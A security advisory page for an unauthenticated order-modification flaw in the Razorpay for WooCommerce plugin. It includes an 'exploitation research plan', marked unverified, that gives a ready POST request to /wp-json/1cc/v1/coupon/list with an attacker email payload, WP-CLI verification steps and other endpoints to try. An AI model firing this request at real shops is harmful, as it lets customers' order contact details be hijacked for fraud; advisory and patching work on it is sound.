CVE-2025-14294

Razorpay for WooCommerce <= 4.7.8 - Missing Authentication to Unauthenticated Order Modification

mediumMissing Authentication for Critical Function
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.7.9
Patched in
1d
Time to patch

Description

The Razorpay for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the getCouponList() function in all versions up to, and including, 4.7.8. This is due to the checkAuthCredentials() permission callback always returning true, providing no actual authentication. This makes it possible for unauthenticated attackers to modify the billing and shipping contact information (email and phone) of any WooCommerce order by knowing or guessing the order ID.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.7.8
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected pluginwoo-razorpay

What Changed in the Fix

Changes introduced in v4.7.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14294 ## 1. Vulnerability Summary The **Razorpay for WooCommerce** plugin (up to version 4.7.8) contains a missing authentication vulnerability in its custom REST API implementation. The plugin registers several endpoints for its "Magic Checkout" (1cc) feature…

Show full research plan

Exploitation Research Plan: CVE-2025-14294

1. Vulnerability Summary

The Razorpay for WooCommerce plugin (up to version 4.7.8) contains a missing authentication vulnerability in its custom REST API implementation. The plugin registers several endpoints for its "Magic Checkout" (1cc) feature. One specific endpoint, 1cc/v1/coupon/list, uses a permission callback that unconditionally returns true. This allows unauthenticated attackers to invoke the getCouponList function, which incorrectly performs data modification (updating order billing/shipping info) before returning the requested coupon data.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/1cc/v1/coupon/list
  • Vulnerable Parameter(s):
    • order_id: The WooCommerce Order ID to target.
    • email: The new email address to set on the order.
    • contact: The new phone number to set on the order.
  • Authentication Level: Unauthenticated (Public).
  • Preconditions:
    • The plugin "Razorpay for WooCommerce" must be active.
    • An existing WooCommerce order ID must be known or guessed (order IDs are typically sequential integers).

3. Code Flow

  1. Route Registration: In includes/api/api.php, the function rzp1ccInitRestApi() registers the route:
    register_rest_route(
        RZP_1CC_ROUTES_BASE . '/coupon', // '1cc/v1/coupon'
        'list',
        array(
            'methods'             => 'POST',
            'callback'            => 'getCouponList',
            'permission_callback' => 'checkAuthCredentials',
        )
    );
    
  2. Auth Bypass: The permission_callback points to checkAuthCredentials() in includes/api/auth.php, which simply returns true:
    function checkAuthCredentials() {
        return true;
    }
    
  3. Data Modification Sink: The callback getCouponList in includes/api/coupon-get.php processes the request:
    • It retrieves order_id, email, and contact from the request parameters.
    • It fetches the order using wc_get_order($orderId).
    • If an email is provided, it updates _billing_email and _shipping_email using either update_meta_data (for High-Performance Order Storage/HPOS) or update_post_meta.
    • If a contact is provided, it updates _billing_phone and _shipping_phone similarly.
    • All of this occurs before any coupon logic or validation beyond checking if the order exists.

4. Nonce Acquisition Strategy

This specific vulnerability does not require a WordPress nonce.

  • The REST API endpoint is registered with a permission_callback that returns true.
  • Standard WordPress REST API nonce requirements (_wpnonce or X-WP-Nonce) are enforced only for authenticated sessions to prevent CSRF. For unauthenticated routes explicitly allowing public access, WordPress does not require a nonce.
  • Inspection of getCouponList in includes/api/coupon-get.php confirms there are no manual nonce verification calls (e.g., wp_verify_nonce).

5. Exploitation Strategy

The goal is to modify the contact details of an existing order.

Step-by-Step Plan:

  1. Identify Target: Determine a valid WooCommerce Order ID (e.g., 123).
  2. Craft Payload: Create a JSON or URL-encoded payload containing the target order_id and the malicious email/contact values.
  3. Execute Request: Send a POST request to the REST endpoint.

HTTP Request (using http_request tool):

  • Method: POST
  • URL: http://<target-site>/wp-json/1cc/v1/coupon/list
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body: order_id=123&email=attacker@evil.com&contact=9999999999

6. Test Data Setup

To verify the exploit in the test environment:

  1. Install WooCommerce: Ensure WooCommerce is active.
  2. Create a Product: wp post create --post_type=product --post_title="Test Product" --post_status=publish
  3. Create an Order:
    • Use WP-CLI to create an order: wp wc shop_order create --user=1 --customer_id=1 --billing='{"email":"original@example.com","phone":"1234567890"}'
    • Note the returned ID (e.g., 123).
  4. Confirm Original State: wp post meta get 123 _billing_email

7. Expected Results

  • Success Indicator: The server returns a 200 OK (or potentially a 400 if coupon logic fails later, but after the metadata update). The response body will likely be a JSON object containing coupon data or an empty list.
  • Data Change: The _billing_email, _shipping_email, _billing_phone, and _shipping_phone meta values for the target order ID will be updated to the values provided in the exploit.

8. Verification Steps

After executing the HTTP request, run the following WP-CLI commands to confirm the injection:

  1. Check Email: wp post meta get <ORDER_ID> _billing_email
    • Expected: attacker@evil.com
  2. Check Phone: wp post meta get <ORDER_ID> _billing_phone
    • Expected: 9999999999
  3. Check Shipping Info: wp post meta get <ORDER_ID> _shipping_email
    • Expected: attacker@evil.com

9. Alternative Approaches

If the 1cc/v1/coupon/list endpoint fails for some reason (e.g., environment-specific constraints on the query), other endpoints in api.php also use checkAuthCredentials and might have similar logic:

  • 1cc/v1/coupon/apply (applyCouponOnCart): Uses order_id and email and calls initCustomerSessionAndCart().
  • 1cc/v1/cod/order/prepay (prepayCODOrder): Processes order information.

However, getCouponList is the most direct path as the modification logic is explicitly present in the source for that function. Reachable via:
includes/api/coupon-get.php lines 47-66.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.